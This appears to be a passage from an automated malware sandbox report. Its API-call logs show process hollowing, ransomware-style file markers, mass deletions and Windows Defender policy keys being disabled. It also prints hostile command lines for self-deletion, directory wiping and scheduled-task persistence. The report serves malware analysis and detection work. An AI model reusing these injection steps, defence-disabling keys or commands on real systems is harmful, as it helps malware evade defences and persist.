NtSetContextThread July 19, 2021, 10:31 a.m.	registers.eip: 4407296 registers.esp: 1638384 registers.edi: 0 registers.eax: 4291211 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 2004287940 thread_handle: 0x00000118 process_identifier: 2760	1	0	0
NtSetContextThread July 19, 2021, 10:32 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4245278 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000370 process_identifier: 3844	1	0	0
NtSetContextThread July 19, 2021, 10:32 a.m.	registers.eip: 100630528 registers.esp: 1523712 registers.edi: 0 registers.eax: 8267568 registers.ebp: 71901521 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000538 process_identifier: 2532	1	0	0
NtSetContextThread July 19, 2021, 10:32 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4219246 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002bc process_identifier: 4008	1	0	0
NtSetContextThread July 19, 2021, 10:32 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4209646 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002ac process_identifier: 3184	1	0	0
NtSetContextThread July 19, 2021, 10:32 a.m.	registers.eip: 58588080 registers.esp: 72138752 registers.edi: 0 registers.eax: 4200932 registers.ebp: 71468560 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000530 process_identifier: 2464	1	0	0
NtSetContextThread July 19, 2021, 10:32 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4245278 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000036c process_identifier: 3156	1	0	0
NtSetContextThread July 19, 2021, 10:32 a.m.	registers.eip: 93094892 registers.esp: 6078464 registers.edi: 0 registers.eax: 8267568 registers.ebp: 72098129 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000534 process_identifier: 3248	1	0	0
NtSetContextThread July 19, 2021, 10:32 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4219246 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002a0 process_identifier: 4076	1	0	0
NtSetContextThread July 19, 2021, 10:32 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4209646 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002a8 process_identifier: 3936	1	0	0
NtSetContextThread July 19, 2021, 10:32 a.m.	registers.eip: 5328 registers.esp: 72772396 registers.edi: 0 registers.eax: 4200932 registers.ebp: 16384 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000534 process_identifier: 3316	1	0	0

Appends a known CryptoMix ransomware file extension to files that have been encrypted (27 events)

file	C:\Users\test22\AppData\Roaming\Identities\.wallet
file	C:\Users\test22\AppData\Roaming\Mozilla\.wallet
file	C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe\.wallet
file	C:\Users\test22\AppData\.wallet
file	C:\Users\test22\AppData\Roaming\Thunderbird\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\EditPlus\.wallet
file	C:\Users\test22\AppData\Roaming\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\Sun\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\Macromedia\.wallet
file	C:\Users\test22\AppData\Roaming\.wallet
file	C:\Users\test22\AppData\Roaming\HNC\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\Microsoft\.wallet
file	C:\Users\test22\AppData\Roaming\Adobe\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\HNC\.wallet
file	C:\Users\test22\AppData\Roaming\Exodus\exodus.wallet
file	C:\Users\test22\AppData\Roaming\Microsoft\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\Mozilla\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\EditPlus\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe\.wallet
file	C:\Users\test22\AppData\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\Identities\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\Thunderbird\.wallet
file	C:\Users\test22\AppData\Roaming\Macromedia\wallets\.wallet
file	C:\Users\test22\AppData\Roaming\Adobe\.wallet
file	C:\Users\test22\AppData\Roaming\Sun\.wallet

Deletes a large number of files from the system indicative of ransomware, wiper malware or system destruction (50 out of 196 events)

file	C:\Users\test22\AppData\Local\Temp\zxcv.EXE
file	C:\Users\test22\AppData\Local\Temp\tmpA553.tmp
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\mozMapi32.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-synch-l1-2-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-utility-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-util-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-file-l2-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-processthreads-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\msvcp140.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-locale-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-time-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\AccessibleMarshal.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\nssckbi.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-localization-l1-2-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\nssdbm3.dll
file	C:\Users\test22\AppData\LocalLow\XwwWWhCD6d4.zip
file	C:\Users\test22\AppData\LocalLow\qT1wG2cI7tX5f
file	C:\Users\test22\AppData\LocalLow\1hOwHQIETH
file	C:\Users\test22\AppData\LocalLow\rQF69AzBla
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-string-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-interlocked-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\softokn3.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-libraryloader-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-string-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-process-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\RYwTiizs2t
file	C:\Users\test22\AppData\LocalLow\foxmail.temp
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-processenvironment-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\breakpadinjector.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\IA2Marshal.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-synch-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\AccessibleHandler.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-file-l1-2-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\sY9eU8qD7hB3_m.zip
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-timezone-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\nss3.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\mozglue.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\libEGL.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\qipcap.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\ldif60.dll
file	C:\Users\test22\AppData\LocalLow\sqlite3.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\MapiProxy.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-multibyte-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-profile-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\ucrtbase.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-core-rtlsupport-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-runtime-l1-1-0.dll
file	C:\Users\test22\AppData\LocalLow\frAQBc8Wsa
file	C:\Users\test22\AppData\LocalLow\chrome_urls.txt
file	C:\Users\test22\AppData\LocalLow\wG3cB0qZ3rM5x\api-ms-win-crt-conio-l1-1-0.dll

Resumed a suspended thread in a remote process potentially indicative of process injection (30 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2424 resumed a thread in remote process 2604
Process injection	Process 2520 resumed a thread in remote process 2708
Process injection	Process 2556 resumed a thread in remote process 2760
Process injection	Process 2568 resumed a thread in remote process 3844
Process injection	Process 2780 resumed a thread in remote process 2532
Process injection	Process 2852 resumed a thread in remote process 4008
Process injection	Process 2856 resumed a thread in remote process 3184
Process injection	Process 200 resumed a thread in remote process 2464
Process injection	Process 2928 resumed a thread in remote process 556
Process injection	Process 3136 resumed a thread in remote process 3196
Process injection	Process 3284 resumed a thread in remote process 3156
Process injection	Process 3356 resumed a thread in remote process 3248
Process injection	Process 3404 resumed a thread in remote process 4076
Process injection	Process 3476 resumed a thread in remote process 3936
Process injection	Process 3548 resumed a thread in remote process 3316
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000230 suspend_count: 1 process_identifier: 2604	1	0	0
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000118 suspend_count: 1 process_identifier: 2708	1	0	0
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000118 suspend_count: 1 process_identifier: 2760	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x00000370 suspend_count: 1 process_identifier: 3844	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x00000538 suspend_count: 1 process_identifier: 2532	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x000002bc suspend_count: 1 process_identifier: 4008	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x000002ac suspend_count: 1 process_identifier: 3184	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x00000530 suspend_count: 1 process_identifier: 2464	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 556	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 3196	1	0	0
NtResumeThread July 19, 2021, 10:33 a.m.	thread_handle: 0x0000036c suspend_count: 1 process_identifier: 3156	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x00000534 suspend_count: 1 process_identifier: 3248	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x000002a0 suspend_count: 1 process_identifier: 4076	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x000002a8 suspend_count: 1 process_identifier: 3936	1	0	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x00000534 suspend_count: 1 process_identifier: 3316	1	0	0

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Detects VirtualBox using WNetGetProviderName trick (1 event)

Time & API	Arguments	Status	Return	Repeated
WNetGetProviderNameW July 19, 2021, 10:32 a.m.	net_type: 0x00250000		1222	0

Generates some ICMP traffic

Disables Windows Security features (4 events)

description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection

Executed a process and injected code into it, probably while unpacking (50 out of 225 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 2524 thread_handle: 0x000002a0 process_identifier: 2520 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe" filepath_r: C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002a8	1	1
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 2560 thread_handle: 0x000002a0 process_identifier: 2556 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe" filepath_r: C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000294	1	1
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 2608 thread_handle: 0x00000230 process_identifier: 2604 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\zxcv.EXE track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\zxcv.EXE stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000224	1	1
NtGetContextThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000230	1	0
NtUnmapViewOfSection July 19, 2021, 10:31 a.m.	base_address: 0x00400000 region_size: 4096 process_identifier: 2604 process_handle: 0x00000224	1	0
NtMapViewOfSection July 19, 2021, 10:31 a.m.	section_handle: 0x00000210 process_identifier: 2604 commit_size: 0 win32_protect: 64 (PAGE_EXECUTE_READWRITE) buffer: base_address: 0x00400000 allocation_type: 0 () section_offset: 0 view_size: 630784 process_handle: 0x00000224	1	0
NtSetContextThread July 19, 2021, 10:31 a.m.	registers.eip: 4804608 registers.esp: 1638384 registers.edi: 0 registers.eax: 4456511 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 2004287940 thread_handle: 0x00000230 process_identifier: 2604	1	0
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000230 suspend_count: 1 process_identifier: 2604	1	0
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 2712 thread_handle: 0x00000118 process_identifier: 2708 current_directory: filepath: C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Roaming\GDSFbnvfghsrf.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000120	1	1
NtGetContextThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000118	1	0
NtUnmapViewOfSection July 19, 2021, 10:31 a.m.	base_address: 0x00400000 region_size: 4096 process_identifier: 2708 process_handle: 0x00000120	1	0
NtMapViewOfSection July 19, 2021, 10:31 a.m.	section_handle: 0x000000e0 process_identifier: 2708 commit_size: 0 win32_protect: 64 (PAGE_EXECUTE_READWRITE) buffer: base_address: 0x00400000 allocation_type: 0 () section_offset: 0 view_size: 151552 process_handle: 0x00000120	1	0
NtSetContextThread July 19, 2021, 10:31 a.m.	registers.eip: 4325376 registers.esp: 1638384 registers.edi: 0 registers.eax: 4302468 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 2004287940 thread_handle: 0x00000118 process_identifier: 2708	1	0
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000118 suspend_count: 1 process_identifier: 2708	1	0
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 2764 thread_handle: 0x00000118 process_identifier: 2760 current_directory: filepath: C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000120	1	1
NtGetContextThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000118	1	0
NtUnmapViewOfSection July 19, 2021, 10:31 a.m.	base_address: 0x00400000 region_size: 4096 process_identifier: 2760 process_handle: 0x00000120	1	0
NtMapViewOfSection July 19, 2021, 10:31 a.m.	section_handle: 0x000000e0 process_identifier: 2760 commit_size: 0 win32_protect: 64 (PAGE_EXECUTE_READWRITE) buffer: base_address: 0x00400000 allocation_type: 0 () section_offset: 0 view_size: 233472 process_handle: 0x00000120	1	0
NtSetContextThread July 19, 2021, 10:31 a.m.	registers.eip: 4407296 registers.esp: 1638384 registers.edi: 0 registers.eax: 4291211 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 2004287940 thread_handle: 0x00000118 process_identifier: 2760	1	0
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000118 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000144 suspend_count: 1 process_identifier: 2604	1	0
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3288 thread_handle: 0x000007c0 process_identifier: 3284 current_directory: C:\Users\test22\AppData\LocalLow filepath: C:\Users\test22\AppData\Local\Temp\NKHh91jIt3.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\NKHh91jIt3.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\NKHh91jIt3.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000007c8	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3360 thread_handle: 0x000007c8 process_identifier: 3356 current_directory: C:\Users\test22\AppData\LocalLow filepath: C:\Users\test22\AppData\Local\Temp\Qv4SXRxX8p.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\Qv4SXRxX8p.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\Qv4SXRxX8p.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000007cc	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3408 thread_handle: 0x0000079c process_identifier: 3404 current_directory: C:\Users\test22\AppData\LocalLow filepath: C:\Users\test22\AppData\Local\Temp\4a3K8bEiw2.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\4a3K8bEiw2.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\4a3K8bEiw2.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000007b4	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3480 thread_handle: 0x000007c0 process_identifier: 3476 current_directory: C:\Users\test22\AppData\LocalLow filepath: C:\Users\test22\AppData\Local\Temp\KllTrtJVOr.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\KllTrtJVOr.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\KllTrtJVOr.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000007d0	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3552 thread_handle: 0x000007c4 process_identifier: 3548 current_directory: C:\Users\test22\AppData\LocalLow filepath: C:\Users\test22\AppData\Local\Temp\Qs4zrKsMII.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\Qs4zrKsMII.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\Qs4zrKsMII.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000007d4	1	1
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3588 thread_handle: 0x000007c0 process_identifier: 3584 current_directory: filepath: track: 1 command_line: cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\zxcv.EXE" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x000007b4	1	1
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x000000ec suspend_count: 1 process_identifier: 2708	1	0
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 2576 thread_handle: 0x000004f8 process_identifier: 2568 current_directory: C:\Users\test22\AppData\Local\Temp\ filepath: C:\Users\test22\AppData\Local\Temp\ac.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\ac.exe stack_pivoted: 0 creation_flags: 67109904 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT) inherit_handles: 0 process_handle: 0x000004e8	1	1
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 2756 thread_handle: 0x00000500 process_identifier: 2780 current_directory: C:\Users\test22\AppData\Local\Temp\ filepath: C:\Users\test22\AppData\Local\Temp\rc.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\rc.exe stack_pivoted: 0 creation_flags: 67109904 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT) inherit_handles: 0 process_handle: 0x000004fc	1	1
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 2876 thread_handle: 0x00000508 process_identifier: 2852 current_directory: C:\Users\test22\AppData\Local\Temp\ filepath: C:\Users\test22\AppData\Local\Temp\ds1.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\ds1.exe stack_pivoted: 0 creation_flags: 67109904 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT) inherit_handles: 0 process_handle: 0x00000504	1	1
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 2860 thread_handle: 0x00000510 process_identifier: 2856 current_directory: C:\Users\test22\AppData\Local\Temp\ filepath: C:\Users\test22\AppData\Local\Temp\ds2.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\ds2.exe stack_pivoted: 0 creation_flags: 67109904 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT) inherit_handles: 0 process_handle: 0x0000050c	1	1
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 2160 thread_handle: 0x00000518 process_identifier: 200 current_directory: C:\Users\test22\AppData\Local\Temp\ filepath: C:\Users\test22\AppData\Local\Temp\cc.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\cc.exe stack_pivoted: 0 creation_flags: 67109904 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT) inherit_handles: 0 process_handle: 0x00000514	1	1
CreateProcessInternalW July 19, 2021, 10:31 a.m.	thread_identifier: 288 thread_handle: 0x00000564 process_identifier: 2400 current_directory: C:\Users\test22\AppData\Roaming\ filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "GDSFbnvfghsrf.exe" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_SUSPENDED\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000568	1	1
CreateProcessInternalW July 19, 2021, 10:33 a.m.	thread_identifier: 256 thread_handle: 0x00000280 process_identifier: 1096 current_directory: C:\ProgramData filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /c taskkill /pid 2760 & erase C:\Users\test22\AppData\Roaming\Fdfgrytbvdfsd.exe & RD /S /Q C:\\ProgramData\\562700353122373\\* & exit filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000278	1	1
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2568	1	0
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2568	1	0
NtResumeThread July 19, 2021, 10:31 a.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 2568	1	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x000002a0 suspend_count: 1 process_identifier: 2568	1	0
NtGetContextThread July 19, 2021, 10:32 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread July 19, 2021, 10:32 a.m.	thread_handle: 0x000000e0	1	0
NtResumeThread July 19, 2021, 10:32 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2568	1	0
CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3772 thread_handle: 0x000003d0 process_identifier: 3768 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ddoAzF" /XML "C:\Users\test22\AppData\Local\Temp\tmpA553.tmp" filepath_r: C:\Windows\System32\schtasks.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000003d4	1	1
